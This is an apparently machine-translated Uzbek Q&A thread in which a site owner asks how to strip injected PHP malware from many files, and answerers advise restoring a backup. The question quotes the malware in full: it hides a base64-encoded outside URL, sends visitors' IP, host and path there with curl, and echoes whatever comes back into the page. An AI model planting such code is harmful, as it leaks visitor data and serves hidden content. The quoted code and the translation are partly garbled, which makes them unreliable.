Perl regex yordamida zararli dasturlarni olib tashlash

Quyidagi kodni bir nechta fayl va katalogdan olib tashlashning bir usuli bormi?

if (!isset($sRetry)) 
{
    global $sRetry;
    $sRetry = 1;//This code use for  lobal bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']);// Looks for Google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";

    if (strstr($sUserAgent, 'google') == false && 
        strstr($sUserAgent, 'yahoo') == false && 
        strstr($sUserAgent, 'baidu') == false && 
        strstr($sUserAgent, 'msn') == false && 
        strstr($sUserAgent, 'opera') == false && 
        strstr($sUserAgent, 'chrome') == false && 
        strstr($sUserAgent, 'bing') == false && 
        strstr($sUserAgent, 'safari') == false && 
        strstr($sUserAgent, 'bot') == false)//Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) && isset($_SERVER['HTTP_HOST'])) 
        {// reate  bot analitics
            $stCurlLink = base64_decode('aHR0cDovL2NvbnFzdGF0LmNvbS9zdGF0L3N0YXQucGhw') . 
                '?ip=' . urlencode($_SERVER['REMOTE_ADDR']) . 
                '& seragent=' . urlencode($sUserAgent) . 
                '&domainname=' . urlencode($_SERVER['HTTP_HOST']) . 
                '& ullpath=' . urlencode($_SERVER['REQUEST_URI']) . 
                '& check=' . isset($_GET['look']);
            $stCurlHandle = curl_init($stCurlLink);
        }
    }

    if ($stCurlHandle !== NULL) 
    {
        curl_setopt($stCurlHandle, URLOPT_RETURNTRANSFER, 1);
        $sResult = @curl_exec($stCurlHandle);

        if $sResult[0] == "O") 
        {
            $sResult[0] = " ";
            echo $sResult;//Statistic code end

        }
        curl_close($stCurlHandle);
    }
}
0
Kimdir ushbu kodni sahifalaringizga AOK qilish imkonini beradigan haqiqiy zaiflikni qanday qilib olib tashlash kerak?
qo'shib qo'ydi muallif Sinan Ünür, manba
Iltimos, kodingizni qayta joylashtiringiz, yopilgan kodni tanlang va tahrirlash paytida kod tugmasini bosing.
qo'shib qo'ydi muallif Sebastian Paaske Tørholm, manba
Bu uning FTP masalasi kabi ko'rinadi
qo'shib qo'ydi muallif user1018279, manba

2 javoblar

Buni qilmang. Hech qachon hujumni tuzatishga urinmang. Agar sizda hamma narsa bo'lsa, hech qachon 100% ishonch hosil bo'lmaydi. Axir bu maxsus inyeksiyani bilasiz. Boshqa joylarda boshqa orqa eshiklar yo'qligini qaerdan bilasiz?

Buning eng yaxshi usuli zaxira nusxasini tiklash va zaiflikni tuzatishdir.

Zaxirangiz yo'qmi? Xo'sh, o'rganilgan dars. Endi sizning uy egasiga borib, ulardan so'rang (ular yaqinda bo'lishi kerak, ammo agar siz ular uchun boshqa narsaga o'tsa).

Agar ular ham bo'lmasa, siz ta'mirlashga harakat qildingiz. Lekin shunga qaramay, emas, balki ni avtomatik tarzda qilishni tavsiya qilaman. Buning o'rniga faylga faylga o'ting va u erda nima borligini ko'ring. Siz qo'l bilan har bir faylga kirmasdan va tekshirilmaguningizcha, bu "ekspluatatsiya" ning qancha versiyasi mavjudligini bilmaymiz. Shuning uchun men regexp ni tuzishga harakat qilmayman, men buni qo'l bilan qilaman va buni taklif qilishni maslahat beraman. Lekin zahira uchun oxirgi chora sifatida ...

3
qo'shib qo'ydi

Yes, I suppose you are on Windows (Unix users would know to use sed). I would try some free software that can do that: for example http://www.digitalvolcano.co.uk/content/textcrawler. Or better yet, download any PHP IDE. All can do bulk find&replace.

0
qo'shib qo'ydi
Yo'q, men Linux qutisidanman. U juda ko'p tirnoq va maxsus chars bor ekan, u sed ishlatish oson emas. \ Q \ E ham ishlamaydi
qo'shib qo'ydi muallif user1018279, manba
PhP |BotsUz
PhP |BotsUz
93 ishtirokchilar

Phpni o'rganishni Hohlasangiz https://t.me/joinchat/AAAAAE-KRc5dd5tPMmGmWA A'zo bo'lin